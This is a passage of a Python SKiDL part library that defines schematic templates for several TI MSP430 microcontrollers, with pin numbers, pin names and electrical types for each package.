Pin(num='G11',name='P8.4/UCB1CLK/UCA1STE',func=Pin.BIDIR,do_erc=True),
Pin(num='H11',name='P8.2/UCA1TXD/UCA1SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='J11',name='P8.0/TB0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K11',name='TB0.6/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L11',name='TB0.5/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='M11',name='TB0.1/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A12',name='PU.0/DP',func=Pin.BIDIR,do_erc=True),
Pin(num='B12',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C12',name='P9.5',func=Pin.BIDIR,do_erc=True),
Pin(num='D12',name='P9.2',func=Pin.BIDIR,do_erc=True),
Pin(num='E12',name='P8.7',func=Pin.BIDIR,do_erc=True),
Pin(num='F12',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='G12',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H12',name='P8.3/UCA1RXD/UCA1SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='J12',name='P8.1/UCB1STE/UCA1CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K12',name='TB0OUTH/SVMOUT/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='L12',name='TB0.4/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='M12',name='TB0.3/P4.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5658IZQW',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='113ball BGA, 512KB Flash Memory, 66KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5659IZQW'],pins=[
Pin(num='A1',name='P6.4/A4/CB4',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='P6.6/A6/DAC0/CB6',func=Pin.BIDIR,do_erc=True),
Pin(num='C1',name='P7.4/A12/CB8',func=Pin.BIDIR,do_erc=True),
Pin(num='D1',name='P7.7/A15/DAC1/CB11',func=Pin.BIDIR,do_erc=True),
Pin(num='E1',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F1',name='XIN',do_erc=True),
Pin(num='G1',name='XOUT',func=Pin.OUTPUT,do_erc=True),
Pin(num='H1',name='DMAE0/ADC12CLK/P5.6',func=Pin.BIDIR,do_erc=True),
Pin(num='J1',name='P2MAP2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='K1',name='P2MAP5/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='L1',name='DVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='M1',name='DVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='A2',name='P6.2/A2/CB2',func=Pin.BIDIR,do_erc=True),
Pin(num='B2',name='P6.5/A5/CB5',func=Pin.BIDIR,do_erc=True),
Pin(num='C2',name='P6.7/A7/DAC1/CB7',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='P7.6/A14/DAC0/CB10',func=Pin.BIDIR,do_erc=True),
Pin(num='E2',name='AVCC1',func=Pin.PWRIN,do_erc=True),
Pin(num='F2',name='AVSS1',func=Pin.PWRIN,do_erc=True),
Pin(num='G2',name='AVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H2',name='P2MAP1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J2',name='P2MAP4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='K2',name='P2MAP6/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L2',name='P2MAP7/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='M2',name='VCORE',func=Pin.PWRIN,do_erc=True),
Pin(num='A3',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='B3',name='P6.1/A1/CB1',func=Pin.BIDIR,do_erc=True),
Pin(num='C3',name='P7.5/A13/CB9',func=Pin.BIDIR,do_erc=True),
Pin(num='L3',name='P5.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M3',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='A4',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='B4',name='P6.0/A0/CB0',func=Pin.BIDIR,do_erc=True),
Pin(num='D4',name='VREF+/VeREF+/P5.0',func=Pin.BIDIR,do_erc=True),
Pin(num='E4',name='VREF-/VeREF-/P5.1',func=Pin.BIDIR,do_erc=True),
Pin(num='F4',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G4',name='P2MAP0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='H4',name='P2MAP3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='L4',name='P5.3',func=Pin.BIDIR,do_erc=True),
Pin(num='M4',name='P5.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='DVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B5',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='D5',name='P6.3/A3/CB3',func=Pin.BIDIR,do_erc=True),
Pin(num='E5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H5',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J5',name='P5.5',func=Pin.BIDIR,do_erc=True),
Pin(num='L5',name='ACLK/TA0CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='M5',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A6',name='DVCC3',func=Pin.PWRIN,do_erc=True),
Pin(num='B6',name='TEST/SBWTCK',do_erc=True),
Pin(num='D6',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='E6',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H6',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='J6',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='L6',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='M6',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A7',name='VBAK',func=Pin.PASSIVE,do_erc=True),
Pin(num='B7',name='P7.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='D7',name='RTCCLK/P5.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='H7',name='TA1.0/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='J7',name='TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L7',name='CBOUT/TA1CLK/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='M7',name='TA0.2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='A8',name='AVSS3',func=Pin.PWRIN,do_erc=True),
Pin(num='B8',name='P7.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='D8',name='VBAT',func=Pin.PASSIVE,do_erc=True),
Pin(num='E8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='F8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='G8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='H8',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J8',name='SMCLK/TA2CLK/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='L8',name='TA1.2/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='M8',name='TA1.1/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='A9',name='VUSB',func=Pin.PASSIVE,do_erc=True),
Pin(num='D9',name='P9.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E9',name='P9.4/UCB2CLK/UCA2STE',func=Pin.BIDIR,do_erc=True),
Pin(num='F9',name='P9.1/UCB2STE/UCA2CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='G9',name='P8.6/UCB1SOMI/UCB1SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='H9',name='GND',func=Pin.PWRIN,do_erc=True),
Pin(num='J9',name='TB0.0/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='L9',name='TA2.1/P3.6',func=Pin.BIDIR,do_erc=True),
Pin(num='M9',name='TA2.0/P3.5',func=Pin.BIDIR,do_erc=True),
Pin(num='A10',name='VBUS',func=Pin.PASSIVE,do_erc=True),
Pin(num='B10',name='PUR',func=Pin.BIDIR,do_erc=True),
Pin(num='L10',name='TB0.2/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='M10',name='TA2.2/P3.7',func=Pin.BIDIR,do_erc=True),
Pin(num='A11',name='PU.1/DM',func=Pin.BIDIR,do_erc=True),
Pin(num='B11',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C11',name='P9.6/UCB2SOMI/UCB2SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='D11',name='P9.3/UCA2RXD/UCA2SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='E11',name='P9.0',func=Pin.BIDIR,do_erc=True),
Pin(num='F11',name='P8.5/UCB1SIMO/UCB1SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='G11',name='P8.4/UCB1CLK/UCA1STE',func=Pin.BIDIR,do_erc=True),
Pin(num='H11',name='P8.2/UCA1TXD/UCA1SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='J11',name='P8.0/TB0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K11',name='TB0.6/P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='L11',name='TB0.5/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='M11',name='TB0.1/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A12',name='PU.0/DP',func=Pin.BIDIR,do_erc=True),
Pin(num='B12',name='VSSU',func=Pin.PWRIN,do_erc=True),
Pin(num='C12',name='P9.5/UCB2SIMO/UCB2SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='D12',name='P9.2/UCA2TXD/UCA2SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='E12',name='P8.7',func=Pin.BIDIR,do_erc=True),
Pin(num='F12',name='DVCC2',func=Pin.PWRIN,do_erc=True),
Pin(num='G12',name='DVSS2',func=Pin.PWRIN,do_erc=True),
Pin(num='H12',name='P8.3/UCA1RXD/UCA1SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='J12',name='P8.1/UCB1STE/UCA1CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='K12',name='SVMOUT/TB0OUTH/P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='L12',name='TB0.4/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='M12',name='TB0.3/P4.3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430FR5720IRGE',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='24pin QFN, 16KB FRAM Memory, 1KB SRAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430FR5724IRGE', 'MSP430FR5728IRGE', 'MSP430FR5730IRGE', 'MSP430FR5734IRGE', 'MSP430FR5738IRGE'],pins=[
Pin(num='1',name='TA0.1/DMAE0/RTCCLK/CD0/VeREF-/A0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0.2/TA1CLK/CDOUT/CD1/VeREF+/A1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA1.1/TA0CLK/CDOUT/CD2/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA1.2/UCB0STE/CD3/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='TB0.1/UCA0STE/CD4/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TB0.2/UCA0CLK/CD5/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='PJ.0/TDO/TB0OUTH/SMCLK/CD6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='PJ.1/TDI/TCLK/MCLK/CD7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='PJ.2/TMS/ACLK/CD8',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='PJ.3/TCK/CD9',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVCC',do_erc=True),
Pin(num='11',name='TEST/SBWTCK',do_erc=True),
Pin(num='21',name='PJ.4/XIN',do_erc=True),
Pin(num='12',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='22',name='PJ.5/XOUT',do_erc=True),
Pin(num='13',name='TB0CLK/UCA0TXD/UCA0SIMO/ACLK/P2.0',do_erc=True),
Pin(num='23',name='AVSS',do_erc=True),
Pin(num='14',name='TB0.0/UCA0RXD/UCA0SOMI/P2.1',do_erc=True),
Pin(num='24',name='AVCC',do_erc=True),
Pin(num='15',name='UCB0CLK/P2.2',do_erc=True),
Pin(num='16',name='TA0.0/UCB0SIMO/UCB0SDA/P1.6',do_erc=True),
Pin(num='17',name='TA1.0/UCB0SOMI/UCB0SCL/P1.7',do_erc=True),
Pin(num='18',name='VCORE',do_erc=True),
Pin(num='19',name='DVSS',do_erc=True)]),
Part(name='MSP430FR5722IRGE',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='24pin QFN, 16KB FRAM Memory, 1KB SRAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430FR5726IRGE', 'MSP430FR5732IRGE', 'MSP430FR5736IRGE'],pins=[
Pin(num='1',name='TA0.1/DMAE0/RTCCLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0.2/TA1CLK/CDOUT/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA1.1/TA0CLK/CDOUT/CD2/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA1.2/UCB0STE/CD3/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='TB0.1/UCA0STE/CD4/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TB0.2/UCA0CLK/CD5/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='PJ.0/TDO/TB0OUTH/SMCLK/CD6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='PJ.1/TDI/TCLK/MCLK/CD7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='PJ.2/TMS/ACLK/CD8',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='PJ.3/TCK/CD9',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVCC',do_erc=True),
Pin(num='11',name='TEST/SBWTCK',do_erc=True),
Pin(num='21',name='PJ.4/XIN',do_erc=True),
Pin(num='12',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='22',name='PJ.5/XOUT',do_erc=True),
Pin(num='13',name='TB0CLK/UCA0TXD/UCA0SIMO/ACLK/P2.0',do_erc=True),
Pin(num='23',name='AVSS',do_erc=True),
Pin(num='14',name='TB0.0/UCA0RXD/UCA0SOMI/P2.1',do_erc=True),
Pin(num='24',name='AVCC',do_erc=True),
Pin(num='15',name='UCB0CLK/P2.2',do_erc=True),
Pin(num='16',name='TA0.0/UCB0SIMO/UCB0SDA/P1.6',do_erc=True),
Pin(num='17',name='TA1.0/UCB0SOMI/UCB0SCL/P1.7',do_erc=True),
Pin(num='18',name='VCORE',do_erc=True),
Pin(num='19',name='DVSS',do_erc=True)]),
Part(name='MSP430G2001IN14',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='14pin PDIP, 2KB Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2101IN14', 'MSP430G2201IN14'],pins=[
Pin(num='1',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TA0.0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TA0.1/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='VSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2001IPW14',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2201, 14pin TSSOP, 2KB Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2101IPW14', 'MSP430G2201IPW14'],pins=[
Pin(num='1',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TA0.0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TA0.1/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='VSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2001IRSA16',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2201, 16pin QFN, 2KB Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2101IRSA16', 'MSP430G2201IRSA16'],pins=[
Pin(num='1',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TA0.0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TA0.1/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='10',name='SBWTCK/TEST',do_erc=True),
Pin(num='11',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='16',name='DVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2102IN20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin PDIP, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2202IN20', 'MSP430G2302IN20', 'MSP430G2402IN20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='SMCLK/TCK/TA0.2/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='SDO/SCL/TDI/TCLK/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='SDI/SDA/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2102IPW14',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2402, 14pin TSSOP, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2202IPW14', 'MSP430G2302IPW14', 'MSP430G2402IPW14'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='SMCLK/TCK/TA0.2/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/SCLK/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='SDO/SCL/TDI/TCLK/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='SDI/SDA/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2102IPW20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2402, 20pin TSSOP, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2202IPW20', 'MSP430G2302IPW20', 'MSP430G2402IPW20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='SMCLK/TCK/TA0.2/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='SDO/SCL/TDI/TCLK/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='SDI/SDA/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2102IRSA16',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2402, 16pin QFN, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2202IRSA16', 'MSP430G2302IRSA16', 'MSP430G2402IRSA16'],pins=[
Pin(num='1',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TMS/SCLK/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='SDO/SCL/TDI/TCLK/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='SDI/SDA/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='10',name='SBWTCK/TEST',do_erc=True),
Pin(num='11',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='16',name='DVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2111IN14',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='14pin PDIP, 2KB Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2211IN14'],pins=[
Pin(num='1',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='CA0/TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='CA1/TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='CA2/TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='CAOUT/CA3/ADC10CLK/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='CA4/SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='CA5/TA0.0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='CA6/TA0.1/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='CA7/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='VSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2111IPW14',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2211, 14pin TSSOP, 1KB Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2211IPW14'],pins=[
Pin(num='1',name='VCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='CA0/TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='CA1/TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='CA2/TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='CAOUT/CA3/ADC10CLK/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='CA4/SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='CA5/TA0.0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='CA6/TA0.1/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='CA7/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
